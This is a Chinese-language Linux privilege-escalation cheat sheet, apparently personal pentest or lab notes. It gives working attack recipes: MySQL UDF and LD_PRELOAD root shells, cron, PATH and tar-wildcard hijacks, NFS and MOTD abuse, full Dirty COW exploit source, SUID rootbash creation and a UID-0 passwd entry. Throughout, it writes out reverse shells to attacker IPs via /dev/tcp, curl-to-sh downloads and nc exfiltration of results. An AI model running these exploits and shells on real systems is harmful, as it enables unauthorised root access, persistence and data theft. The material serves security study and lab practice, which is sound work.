Linux提权
root用户创建新用户
1# 使用 useradd 命令添加用户2sudo useradd username3echo "username:x:0:0::/:/bin/sh" >> /etc/passwd # 修改passwd添加用户,然后修改密码passwd username4# 设置用户密码5sudo passwd username6# 可选:为用户指定主目录7sudo useradd -d /path/to/home username8# 可选:为用户指定 shell9默认情况下,新用户的 shell 是 /bin/bash。如果你想要指定一个不同的 shell,可以使用 -s 选项:10sudo useradd -s /path/to/shell username11# 可选:为用户添加附加信息12sudo useradd -c "Full Name" username13# 可选:为用户创建主目录并复制默认配置14如果你希望在创建用户的同时创建主目录并复制默认配置文件,可以使用 -m 选项:15sudo useradd -m username16# 可选:为用户添加到组17sudo useradd -G group1,group2 username安全机制
1提权、免杀时需要对抗1ugo2suid sgid3Capabilities4AppArmor Selinux5ACL1Grsecurity2Pax3ExecShield4ASLR(Address Space Layout Randomization)5TOMOYO Linux6SMACK7Yama8CGroups9Linux Namespaces10StackGuard11Proplice12seccomp13ptrace14capsicum15Mprotect16chroot17firejail原理
11、低权限可以修改可执行文件或者脚本,能以高权限身份运行22、用低权限用户的运维人员也需要记忆输入备份凭据,以备高权限用户的时候完成操作33、在权限的上层,在内存、CPU等,捕捉、拦截、修改凭据或者权限信息,操作敏感信息来实现的内核利用枚举
1高地权限第一步都是进行枚举,横向渗透、撕口子,首先需要一个交互性的shell2python -c 'import pty;pty.spawn("/bin/bash")'3stty raw -echo4export TERM=xterm-color5rlwrap nc -lvnp 4433 rlwrap命令可以包裹命令 # 提升交互性自动枚举
1不足:产生流量特征、时间长、存在遗漏2提权阶段的工具3Linpeas ## 新版本叫PEASS-ng4LinEnum5linux-smart-enumeration6linux-exploit-suggester7linuxprivchecker8unix-privesc-check1# 在线下载执行并不留下文件2curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20240324-2c3cd766/linpeas.sh | sh结果返回攻击机
方法一
1# 攻击机开启web服务2python -m http.server 80003# 攻击机开启监听4nc -lvnp 8001 | tee linpeas.txt1# 靶机2curl 10.1.239.136/linpeas.sh | sh | nc 10.1.239.136 80011# 读结果,因为是二进制文件,使用less -r参数2less -r linpeas.txt方法二
1# 攻击机开启监听并重定向输入linpeas.sh2nc -lvnp 8000 < linpeas.sh1# 靶机使用cat输入执行结果,通过伪设备进行通信这样就绕过了curl2cat < /dev/tcp/10.1.239.136/8000 | sh手工枚举
1whoami2id id root3who4w5last6
7# 内核8uname -a9lsb_release -a10cat /proc/version11hostnamectl12
13# 网卡14ip addr ip a15ifconfig16ip route # 路由表17arp -a18ip neigh # 网络邻居19
20hostname21hostnamectl22sudo -l23
24# capabilities25getcap -r / 2>/dev/null # 得到权限能力属性26
27ls -a28ls -liah29history30cat /etc/passwd31cat /etc/crontab32echc $PATH33ps -ef34ps -axjf # x:未连接终端的进程 j:显示进程数 f:输出格式35ps -aux # a:所有用户进程 u:显示启动进程的用户36top37
38netstat -au39netstat -l40netstat -at41netstat -s # 网络统计1find / -perm -u=s -type f 2>/dev/null # 列出有suid的权限命令2# -perm -u=s: 这个选项用于指定要查找的文件权限。-perm表示按照指定的权限进行搜索,-u=s表示搜索具有 SetUID 权限的文件。SetUID 权限是一种特殊的权限设置,允许一个程序在执行时以文件所有者的身份运行,即使实际执行者可能不是文件所有者。3# -type f: 这个选项指定了要查找的文件类型,这里是普通文件。4which awk perl python ruby gcc vi vim nmap find netcat nc wget tftp tmux screen 2>/dev/null5
6cat /etc/fstab # 检测没有被挂载的磁盘信息服务漏洞利用
1UDF # user defined function2# 类似内置函数,通过UDF满足用户对数据库执行自定义操作提权条件
1# 1、掌握mysql数据库的账号,拥有create、insert、delete权限2# 2、secure_file_priv为空,这是用来限制:Load data、select into outfile、load_file()利用
11、查找exp2searchsploit mysql udf3------------------------------------------------------------------------- ---------------------------------4 Exploit Title | Path5------------------------------------------------------------------------- ---------------------------------6MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1) | linux/local/1181.c7MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | linux/local/1518.c8MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution | windows/remote/3274.txt9MySQL 4/5/6 - UDF for Command Execution | linux/local/7856.txt10------------------------------------------------------------------------- ---------------------------------11Shellcodes: No Results12、使用1518.c2searchsploit mysql udf -m 151831518.c:4/*5 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $6 *7 * raptor_udf2.c - dynamic library for do_system() MySQL UDF8 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>9 *10 * This is an helper dynamic library for local privilege escalation through11 * MySQL run with root privileges (very bad idea!), slightly modified to work12 * with newer versions of the open-source database. Tested on MySQL 4.1.14.13 *14 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c15 *16 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes17 * for the security vulnerabilities in the handling of User Defined Functions18 * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further19 * details, please refer to:20 *21 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html22 * http://www.wisec.it/vulns.php?page=423 * http://www.wisec.it/vulns.php?page=524 * http://www.wisec.it/vulns.php?page=625 *26 * "UDFs should have at least one symbol defined in addition to the xxx symbol27 * that corresponds to the main xxx() function. These auxiliary symbols28 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and29 * xxx_add() functions". -- User Defined Functions Security Precautions30 *31 * Usage:32 * $ id33 * uid=500(raptor) gid=500(raptor) groups=500(raptor)34 * $ gcc -g -c raptor_udf2.c35 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc36 * $ mysql -u root -p37 * Enter password:38 * [...]39 * mysql> use mysql;40 * mysql> create table foo(line blob);41 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));42 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';43 * mysql> create function do_system returns integer soname 'raptor_udf2.so';44 * mysql> select * from mysql.func;45 * +-----------+-----+----------------+----------+46 * | name | ret | dl | type |47 * +-----------+-----+----------------+----------+48 * | do_system | 2 | raptor_udf2.so | function |49 * +-----------+-----+----------------+----------+50 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');51 * mysql> \! sh52 * sh-2.05b$ cat /tmp/out53 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)54 * [...]55 *56 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys57 *58 */59
60#include <stdio.h>61#include <stdlib.h>62
63enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};64
65typedef struct st_udf_args {66 unsigned int arg_count; // number of arguments67 enum Item_result *arg_type; // pointer to item_result68 char **args; // pointer to arguments69 unsigned long *lengths; // length of string args70 char *maybe_null; // 1 for maybe_null args71} UDF_ARGS;72
73typedef struct st_udf_init {74 char maybe_null; // 1 if func can return NULL75 unsigned int decimals; // for real functions76 unsigned long max_length; // for string functions77 char *ptr; // free ptr for func data78 char const_item; // 0 if result is constant79} UDF_INIT;80
81int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)82{83 if (args->arg_count != 1)84 return(0);85
86 system(args->args[0]);87
88 return(0);89}90
91char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)92{93 return(0);94}95
96// milw0rm.com [2006-02-20]1gcc -g -c filename.c -fPIC2-g # 指定生成调试信息3-c # 仅编译源代码,但不进行链接,通常会生成.o扩展名的文件,对于将多个源码文件分别编译成目标文件,然后链接成一个可执行文件或库时有用4-fPIC # 告诉编译器生成位置无关代码(position independent code)可以在内存中的任何位置执行,可以被多个程序共享11、连接mysql数据库22、show variables like '%secure_file_priv%'33、show variables like '%plugin%'4%secure_file_priv%位置为空或者与%plugin%位置相同才可使用UDF提权1mysql> use mysql;2mysql> create table foo(line blob);3mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));4mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';5mysql> create function do_system returns integer soname 'raptor_udf2.so';6mysql> select * from mysql.func;7
8# mysql.func可以执行系统命令9eg:select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');1# 使用-p参数以特权用户来执行一个shell2/tmp/rootbash -p提权利用
shadow和passwd利用提权
思路一
1ls -liah /etc/shadow # 查看权限2cat /etc/shadow | grep ':\$' # 提取带有hash的用户3sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash # 枚举破解思路二
1ls -liah /etc/shadow # 查看权限2cp /etc/shadow /tmp/shadow.bak # 备份3# 生成用户密码hash,常用linux的密码hash类型由前面的$6$可以识别,一般是sha5124mkpasswd -m sha-512 123456 # 生成密码hash5# 写入shadow文件思路三
1ls -liah /etc/passwd # 查看权限2cp /etc/passwd /tmp/passwd.bak # 备份3openssl passwd 123456 # 生成hash4# 生成的hash替换passwd的x,注意这里是通过可写的passwd来进行密码替换sudo环境变量提权
1sudo -l # 查看当前用户能执行什么系统命令2# env_reset, env_keep=LD_PRELOAD 加载共享库,可以提权3vim shell.c:1#include <stdio.h> # 标准输入输出库2#include <sys/types.h> # 数据类型库3#include <stdlib.h> # C语言标准库4#include <unistd.h>5
6void _init() { # 预加载,执行的时候优先main函数7 unsetenv("LD_PRELOAD"); # 因为加载一遍就够了,开始执行之后就把环境变量预加载卸载掉8 setgid(0);9 setuid(0);10 system("/bin/bash");11}1gcc -fPIC -shared -o shell.so shell.c -nostartfiles2sudo LD_PRELOAD=/home/user/shell.so find # 前提是find可以以root用户执行,预加载了环境变量提权逻辑自动任务提权
定时任务提权
1cat /etc/crontab2# 存在计划任务3* * * * * root overwrite.sh4locate overwrite.sh # 得到文件位置5└─# ll /usr/local/bin/overwrite.sh6-rwxr-xr-x 1 root root 56 Apr 1 09:20 /usr/local/bin/overwrite.sh7
8攻击机设置监听9sudo nc -lvnp 444410靶机编写overwrite.sh11#!/bin/bash12
13bash -i >& /dev/tcp/10.1.239.136/4444 0>&114
15echo -e "#!/bin/bash\n\nbash -i >& /dev/tcp/43.142.170.25/6677 0>&1" > 1.sh16printf '#!/bin/bash\n\nbash -i >& /dev/tcp/43.142.170.25/6677 0>&1' > 1.sh17
18# 一分钟后得到root权限PATH环境变量提权
1cat /crontab2# /etc/crontab: system-wide crontab3# Unlike any other crontab you don't have to run the `crontab'4# command to install the new version when you edit this file5# and files in /etc/cron.d. These files also have username fields,6# that none of the other crontabs do.7
8SHELL=/bin/sh9PATH=/home/dcj:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin10
11# Example of job definition:12# .---------------- minute (0 - 59)13# | .------------- hour (0 - 23)14# | | .---------- day of month (1 - 31)15# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...16# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat17# | | | | |18# * * * * * user-name command to be executed1917 * * * * root cd / && run-parts --report /etc/cron.hourly2025 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }2147 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }2252 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }23#24* * * * * root overwrite.sh25
26其中不只有命令27SHELL=/bin/sh28还有指定环境变量路径,存在/home/dcj:,可以直接在普通用户的环境变量目录中写文件执行29PATH=/home/dcj:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin30
31# PS:一般来说程序执行时会选取环境变量目录靠前的来执行,所以直接编写overwrite.sh在家目录即可32#!/bin/bash33
34cp /bin/bash /tmp/rootbash35chmod +xs /tmp/rootbash36# 给执行权限37chmod +x overwrite.sh38# 执行39/tmp/rootbash -p40# -p 以root权限执行41获取root权限通配符提权
1cat /etc/crontab2# 存在/usr/local/bin/compress.sh3# 查看文件内容是备份目录下所有内容到/tmp目录下,通常是管理员用来备份系统文件的命令4#!/bin/bash5cd /home/dcj/tmp6tar czf /tmp/backup.tar.gz *7# tar命令打包时有一个参数是检查点8--checkpoint-action=ACTION9
101、构造反弹shell11sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.1.239.136 LPORT=4444 -f elf -o shell.elf12
132、靶机下载14wget 10.1.239.136:8000/shell.elf15
163、检查点命令17# 在靶机的这个目录下创建检查点18touch /home/dcj/tmp/--checkpoint=119touch /home/dcj/tmp/--checkpoint-action=exec=sh ./1.sh20touch /home/dcj/tmp/--checkpoint-action=exec=shell.elf21
224、监听23sudo nc -lvnp 4444SUID提权
可执行文件已知利用提权
1find / -perm -u=s -type f 2>/dev/null2# 利用exim-4.843searchsploit exim4chmod +x 39535.sh5./39535.sh共享库注入
1find / -perm -u=s -type f 2>/dev/null2strace 命令 # 追踪查看命令运行内容3# 运行了.so文件这里可以被利用4eg:调用了/home/dcj/libcalc.so5编写libcalc.c1#include <stdio.h>2#include <stdblib.h>3#include <unistd.h>4
5static void inject() __attribute__((constructor));6
7void inject() {8 setgid(0);9 setuid(0);10 system("/bin/bash -p");11}1static void inject():这是一个函数声明,函数名为 inject,返回类型为 void,表示该函数不返回任何值。static 关键字表示该函数只在当前文件(共享对象文件)中可见,不能被其他文件访问。2
3_attribute__((constructor)):这是 GCC 和兼容的编译器提供的一个特殊属性,用于将函数标记为构造函数(constructor)。构造函数是一种特殊的函数,它在程序开始执行之前自动被调用。在这个例子中,inject 函数被标记为构造函数,因此它将在共享对象文件被加载时自动执行。4
5# PS:本来是要用管理员权限的程序调用这个.so文件来进行提权,没有调用的环境,这里编写了一个C程序进行调用,需要用管理员用户执行这个C程序6
7验证,编写load_and_execute.c1#include <stdio.h>2#include <stdlib.h>3#include <dlfcn.h>4
5int main() {6 void *handle;7 void (*inject_function)();8
9 // 打开共享对象文件10 handle = dlopen("./libcalc.so", RTLD_LAZY);11 if (!handle) {12 fprintf(stderr, "无法打开共享对象文件: %s\n", dlerror());13 return 1;14 }15
16 // 获取共享对象文件中的inject函数17 inject_function = dlsym(handle, "inject");18 if (!inject_function) {19 fprintf(stderr, "无法获取inject函数: %s\n", dlerror());20 dlclose(handle);21 return 1;22 }23
24 // 调用inject函数25 (*inject_function)();26
27 // 关闭共享对象文件28 dlclose(handle);29
30 return 0;31}1gcc -o load_and_execute sudoload_and_execute.c -ldl2# -ldl是GCC编译器的一个参数,用于指定链接程序时需要链接的动态链接库。在Linux系统中,-ldl用于链接libdl库,该库包含了动态链接器的相关函数,如dlopen()、dlsym()等。3sudo ./load_and_execute.c环境变量利用提权
1find / -perm -u=s -type f 2>/dev/null2
3# 这里使用的suid-env4
5strings /usr/local/bin/suid-env # 查看使用了什么字符串,能够看到存在service apache2 start,启动了apache2服务,这里用的是相对路径,不是绝对路径,可以进行劫持,构造service,不是原本的service,让它执行我们的service,这里用C语言编写一个服务6编写service.c1#include <sidio.h>2#include <stdlib.h>3#include <unistd.h>4
5void main() {6 setgid(0);7 setuid(0);8 system("/bin/bash -p");9}1gcc -o service service.c2
3# 编写的服务在当前路径下,但是环境变量中并没有写上这个路径,所以需要将当前目录加到环境变量中4
5export PATH=.:$PATH6
7# 执行后调用了service命令得到shell巧用shell功能#1
1find / -perm -u=s -type f 2>/dev/null2
3# 这次的suid-env2命令中服务写上了路径/usr/sbin/service apache2 start4查看当前bash版本5bash -version 4.1.56# 小于4.2时可以使用路径组合来作为文件名7function /usr/sbin/service { /bin/bash -p; }8# 相当于用函数名劫持了真正的service命令9# 然后再加上环境变量,-f指加入环境变量的是函数10export -f /usr/sbin/service11# 执行有suid权限且调用了/usr/sbin/service apache2 start的那条命令即可巧用shell功能#2
1find / -perm -u=s -type f 2>/dev/null2
3# 这次的suid-env2命令中服务写上了路径/usr/sbin/service apache2 start4查看当前bash版本5bash -version 4.1.56# 小于4.4时可以考虑在调试模式下对bash的环境变量进行设置,放进我们可以执行的代码7
8env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env29# -i 忽略当前已有的任何环境变量的选项10# SHELLOPTS 环境变量的选项集,可以有多个选项用冒号分隔11# xtrace 指shell执行每个命令前先打印这个命令12# PS4 Prompt String提示字符串,PS4结合xtrace使用,bash版本在4.4以下就可以在PS4这个提示字符串命令下加入提权命令密码和密钥提权
历史文件提权
1history # 查看历史命令2cat ~/.*history | less3cat /root/.bash_history4cat .viminfo配置文件查看提权
1# 查找可能存在的配置文件:网站、应用、数据库、ssh、vpn……2eg:pwd3ls -liah4cat myvpn.ovpn5cat /etc/openvpn/auth.txtssh密钥敏感信息提权
1# ssh相关文件、系统目录下.ssh文件夹2存在私钥key3vim rd_rsa4chmod 600 id_rsa5sudo ssh -i id_rsa -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss -oHostKeyAlgorithms=ssh-rsa,ssh-dss root@10.1.239.1366# oHostKeyAlgorithms=ssh-rsa,ssh-dss 指定算法类型7# oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss 指定能够接受的公钥类型,这样就有了共同的签名NFS提权
1NFS 共享文件模式(网络、文件、分享),可以用来撕口子,也可以用来提权2
3# 需要靶机是否存在NSF服务4cat /etc/exports5# 如果存在no_root_squash表示可以进行NSF提权利用尝试6mkdir /tmp/nfs7# 本地使用,挂载到目标靶机上的/tmp目录下8mount -o rw,vers=3 靶机IP:/tmp /tmp/nfs9# 生成一个shell10msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf11# 靶机中执行即可12/tmp/shell.elf内核利用提权
1uname -a # 查看内核版本 2.6.322# 使用linpeas查看内核存在的漏洞,存在dirtycow(脏牛)漏洞3searchsploit 406114-------------------------------------------------------------------------------------------- --------------------5 Exploit Title | Path6-------------------------------------------------------------------------------------------- --------------------7Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c8-------------------------------------------------------------------------------------------- --------------------9Shellcodes: No Results10
11searchsploit -m 406111240611.c:13/*14####################### dirtyc0w.c #######################15$ sudo -s16# echo this is not a test > foo17# chmod 0404 foo18$ ls -lah foo19-r-----r-- 1 root root 19 Oct 20 15:23 foo20$ cat foo21this is not a test22$ gcc -pthread dirtyc0w.c -o dirtyc0w23$ ./dirtyc0w foo m0000000000000000024mmap 5612300025madvise 026procselfmem 180000000027$ cat foo28m0000000000000000029####################### dirtyc0w.c #######################30*/31#include <stdio.h>32#include <sys/mman.h>33#include <fcntl.h>34#include <pthread.h>35#include <unistd.h>36#include <sys/stat.h>37#include <string.h>38#include <stdint.h>39
40void *map;41int f;42struct stat st;43char *name;44
45void *madviseThread(void *arg)46{47 char *str;48 str=(char*)arg;49 int i,c=0;50 for(i=0;i<100000000;i++)51 {52/*53You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/270666154> This is achieved by racing the madvise(MADV_DONTNEED) system call55> while having the page of the executable mmapped in memory.56*/57 c+=madvise(map,100,MADV_DONTNEED);58 }59 printf("madvise %d\n\n",c);60}61
62void *procselfmemThread(void *arg)63{64 char *str;65 str=(char*)arg;66/*67You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c1668> The in the wild exploit we are aware of doesn't work on Red Hat69> Enterprise Linux 5 and 6 out of the box because on one side of70> the race it writes to /proc/self/mem, but /proc/self/mem is not71> writable on Red Hat Enterprise Linux 5 and 6.72*/73 int f=open("/proc/self/mem",O_RDWR);74 int i,c=0;75 for(i=0;i<100000000;i++) {76/*77You have to reset the file pointer to the memory position.78*/79 lseek(f,(uintptr_t) map,SEEK_SET);80 c+=write(f,str,strlen(str));81 }82 printf("procselfmem %d\n\n", c);83}84
85
86int main(int argc,char *argv[])87{88/*89You have to pass two arguments. File and Contents.90*/91 if (argc<3) {92 (void)fprintf(stderr, "%s\n",93 "usage: dirtyc0w target_file new_content");94 return 1; }95 pthread_t pth1,pth2;96/*97You have to open the file in read only mode.98*/99 f=open(argv[1],O_RDONLY);100 fstat(f,&st);101 name=argv[1];102/*103You have to use MAP_PRIVATE for copy-on-write mapping.104> Create a private copy-on-write mapping. Updates to the105> mapping are not visible to other processes mapping the same106> file, and are not carried through to the underlying file. It107> is unspecified whether changes made to the file after the108> mmap() call are visible in the mapped region.109*/110/*111You have to open with PROT_READ.112*/113 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);114 printf("mmap %zx\n\n",(uintptr_t) map);115/*116You have to do it on two threads.117*/118 pthread_create(&pth1,NULL,madviseThread,argv[1]);119 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);120/*121You have to wait for the threads to finish.122*/123 pthread_join(pth1,NULL);124 pthread_join(pth2,NULL);125 return 0;126}127# 编译128gcc -pthread dirtyc0w.c -o dirtyc0w129# 执行130./dirtyc0w131# 40611是写入方法(Write Access Method),用的是写入内存,调用麻烦132
13340839.c:134//135// This exploit uses the pokemon exploit of the dirtycow vulnerability136// as a base and automatically generates a new passwd line.137// The user will be prompted for the new password when the binary is run.138// The original /etc/passwd file is then backed up to /tmp/passwd.bak139// and overwrites the root account with the generated line.140// After running the exploit you should be able to login with the newly141// created user.142//143// To use this exploit modify the user values according to your needs.144// The default is "firefart".145//146// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):147// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c148//149// Compile with:150// gcc -pthread dirty.c -o dirty -lcrypt151//152// Then run the newly create binary by either doing:153// "./dirty" or "./dirty my-new-password"154//155// Afterwards, you can either "su firefart" or "ssh firefart@..."156//157// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!158// mv /tmp/passwd.bak /etc/passwd159//160// Exploit adopted by Christian "FireFart" Mehlmauer161// https://firefart.at162//163
164#include <fcntl.h>165#include <pthread.h>166#include <string.h>167#include <stdio.h>168#include <stdint.h>169#include <sys/mman.h>170#include <sys/types.h>171#include <sys/stat.h>172#include <sys/wait.h>173#include <sys/ptrace.h>174#include <stdlib.h>175#include <unistd.h>176#include <crypt.h>177
178const char *filename = "/etc/passwd";179const char *backup_filename = "/tmp/passwd.bak";180const char *salt = "firefart";181
182int f;183void *map;184pid_t pid;185pthread_t pth;186struct stat st;187
188struct Userinfo {189 char *username;190 char *hash;191 int user_id;192 int group_id;193 char *info;194 char *home_dir;195 char *shell;196};197
198char *generate_password_hash(char *plaintext_pw) {199 return crypt(plaintext_pw, salt);200}201
202char *generate_passwd_line(struct Userinfo u) {203 const char *format = "%s:%s:%d:%d:%s:%s:%s\n";204 int size = snprintf(NULL, 0, format, u.username, u.hash,205 u.user_id, u.group_id, u.info, u.home_dir, u.shell);206 char *ret = malloc(size + 1);207 sprintf(ret, format, u.username, u.hash, u.user_id,208 u.group_id, u.info, u.home_dir, u.shell);209 return ret;210}211
212void *madviseThread(void *arg) {213 int i, c = 0;214 for(i = 0; i < 200000000; i++) {215 c += madvise(map, 100, MADV_DONTNEED);216 }217 printf("madvise %d\n\n", c);218}219
220int copy_file(const char *from, const char *to) {221 // check if target file already exists222 if(access(to, F_OK) != -1) {223 printf("File %s already exists! Please delete it and run again\n",224 to);225 return -1;226 }227
228 char ch;229 FILE *source, *target;230
231 source = fopen(from, "r");232 if(source == NULL) {233 return -1;234 }235 target = fopen(to, "w");236 if(target == NULL) {237 fclose(source);238 return -1;239 }240
241 while((ch = fgetc(source)) != EOF) {242 fputc(ch, target);243 }244
245 printf("%s successfully backed up to %s\n",246 from, to);247
248 fclose(source);249 fclose(target);250
251 return 0;252}253
254int main(int argc, char *argv[])255{256 // backup file257 int ret = copy_file(filename, backup_filename);258 if (ret != 0) {259 exit(ret);260 }261
262 struct Userinfo user;263 // set values, change as needed264 user.username = "firefart";265 user.user_id = 0;266 user.group_id = 0;267 user.info = "pwned";268 user.home_dir = "/root";269 user.shell = "/bin/bash";270
271 char *plaintext_pw;272
273 if (argc >= 2) {274 plaintext_pw = argv[1];275 printf("Please enter the new password: %s\n", plaintext_pw);276 } else {277 plaintext_pw = getpass("Please enter the new password: ");278 }279
280 user.hash = generate_password_hash(plaintext_pw);281 char *complete_passwd_line = generate_passwd_line(user);282 printf("Complete line:\n%s\n", complete_passwd_line);283
284 f = open(filename, O_RDONLY);285 fstat(f, &st);286 map = mmap(NULL,287 st.st_size + sizeof(long),288 PROT_READ,289 MAP_PRIVATE,290 f,291 0);292 printf("mmap: %lx\n",(unsigned long)map);293 pid = fork();294 if(pid) {295 waitpid(pid, NULL, 0);296 int u, i, o, c = 0;297 int l=strlen(complete_passwd_line);298 for(i = 0; i < 10000/l; i++) {299 for(o = 0; o < l; o++) {300 for(u = 0; u < 10000; u++) {301 c += ptrace(PTRACE_POKETEXT,302 pid,303 map + o,304 *((long*)(complete_passwd_line + o)));305 }306 }307 }308 printf("ptrace %d\n",c);309 }310 else {311 pthread_create(&pth,312 NULL,313 madviseThread,314 NULL);315 ptrace(PTRACE_TRACEME);316 kill(getpid(), SIGSTOP);317 pthread_join(pth,NULL);318 }319
320 printf("Done! Check %s to see if the new user was created.\n", filename);321 printf("You can log in with the username '%s' and the password '%s'.\n\n",322 user.username, plaintext_pw);323 printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",324 backup_filename, filename);325 return 0;326}327# 编译328gcc 40839.c -o dirty -lcrypt329./dirty330# 输入密码331# 创建用户成功,使用密码登录332
333gcc -pthread dirty.c -o dirty -lcryptdoas less+vi提权
1uname -a2# 系统为openBSD3find / -group user -type f 2>/dev/null4find / -perm -u=s -type f 2>/dev/null5# 存在/usr/bin/doas6
7cat /etc/doas.conf8permit nopass keepenv dcj as root cmd /usr/bin/less args /home/dcj/tmp/test.txt9permit nopass keepenv root as root10# 允许的权限在没有密码的情况下,保持环境变量,user的用户可以按照root用户来执行,可以执行/usr/bin/less args /var/log/authlog11
12# 原理是less命令中有一个v参数,表示查看文件时使用vi编辑器进行编辑13# 进入编辑器14doas /usr/bin/less /home/dcj/tmp/test.txt15# 按v16输入:!sh17# 返回了root权限的shell利用MOTD机制提权
1MOTD(message of the day)当登录linux服务器的时候会显示一些欢迎信息2
3# 在Linux中,/etc/update-motd.d目录下的脚本和程序是以root用户的身份运行的4# /etc/motd是一个文本文件,用于在用户登录系统时显示一条消息。该消息通常用于向用户提供系统的重要信息、公告、警告或其他相关通知5
6# 理论上修改 motd 下的任何文件都可,提权时通常修改 /etc/update-motd.d/00-header 文件7echo "bash -c 'bash -i >& /dev/tcp/10.1.239.136/4444 0>&1'" >> /etc/update-motd.d/00-header8# 开启监听9sudo nc -lnvp 4444可预测PRNG暴力破解SSH提权
1当有服务器的公钥时,需要用自己的私钥进行登录,但是并没有对应的私钥,这里需要用一个库,伪随机数生成器————PRNG(pseudo random number generator)2
3└─$ searchsploit prng4----------------------------------------------------------------------------------- ---------------------------5 Exploit Title | Path6----------------------------------------------------------------------------------- ---------------------------7GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1) | multiple/remote/32673.java8GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2) | multiple/remote/32674.cpp9LPRng (RedHat 7.0) - 'lpd' Format String | linux/remote/227.c10LPRng - use_syslog Remote Format String (Metasploit) | linux/remote/16842.rb11LPRng 3.6.22/23/24 - Remote Command Execution | linux/remote/226.c12LPRng 3.6.24-1 - Remote Command Execution | linux/remote/230.c13LPRng 3.6.x - Failure To Drop Supplementary Groups | unix/local/20923.c14LPRNG html2ps 1.0 - Remote Command Execution | unix/remote/21974.pl15OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5622.txt16OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5720.py17OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby) | linux/remote/5632.rb18----------------------------------------------------------------------------------- ---------------------------19Shellcodes: No Results20
21# 实际上,获得立足点和提权场景的操作是完全一样的22
23# 使用5622.txt24searchsploit -m 5622255622.txt:26the debian openssl issue leads that there are only 65.536 possible ssh27keys generated, cause the only entropy is the pid of the process28generating the key.29
30This leads to that the following perl script can be used with the31precalculated ssh keys to brute force the ssh login. It works if such a32keys is installed on a non-patched debian or any other system manual33configured to.34
35On an unpatched system, which doesn't need to be debian, do the following:36
37keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/38***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***39
401. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz241 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)42
432. Extract it to a directory44
453. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 204846Bits, generated on an upatched debian (this is the key this exploit will47break)48
494. Run the perl script and give it the location to where you extracted50the bzip2 mentioned.51
